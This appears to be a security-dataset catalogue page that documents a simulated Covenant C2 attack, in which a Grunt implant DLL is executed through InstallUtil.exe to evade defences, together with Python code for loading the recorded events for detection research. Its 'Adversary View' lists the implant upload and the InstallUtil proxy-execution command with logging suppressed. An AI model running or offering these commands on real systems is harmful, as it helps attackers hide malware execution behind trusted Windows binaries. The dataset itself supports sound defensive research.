Covenant ShellCmd InstallUtil#

Metadata#

Contributors

Roberto Rodriguez @Cyb3rWard0g

Creation Date

2019/10/27

Modification Date

2020/09/19

Tactics

TA0005,TA0002

Techniques

T1218.004

Tags

InstallUtil,LOLBin

Dataset Description#

This dataset represents adversaries proxy executing code through InstallUtil, a trusted Windows utility.

Simulation Metadata#

Tools#

type

Name

Module

C2

Covenant

ShellCmd

Adversary View#

Upload Task: GruntHTTP.dll -> C:\ProgramData\GruntHTTP.dll
(wardog) > ShellCmd /shellcommand:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /u c:\ProgramData\GruntHTTP.dll"

Explore Datasets#

Download & Decompress Dataset#

import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/covenant_installutil.zip
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])

Read JSON File#

from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)

Access Security Events#

df.groupby(['Channel']).size().sort_values(ascending=False)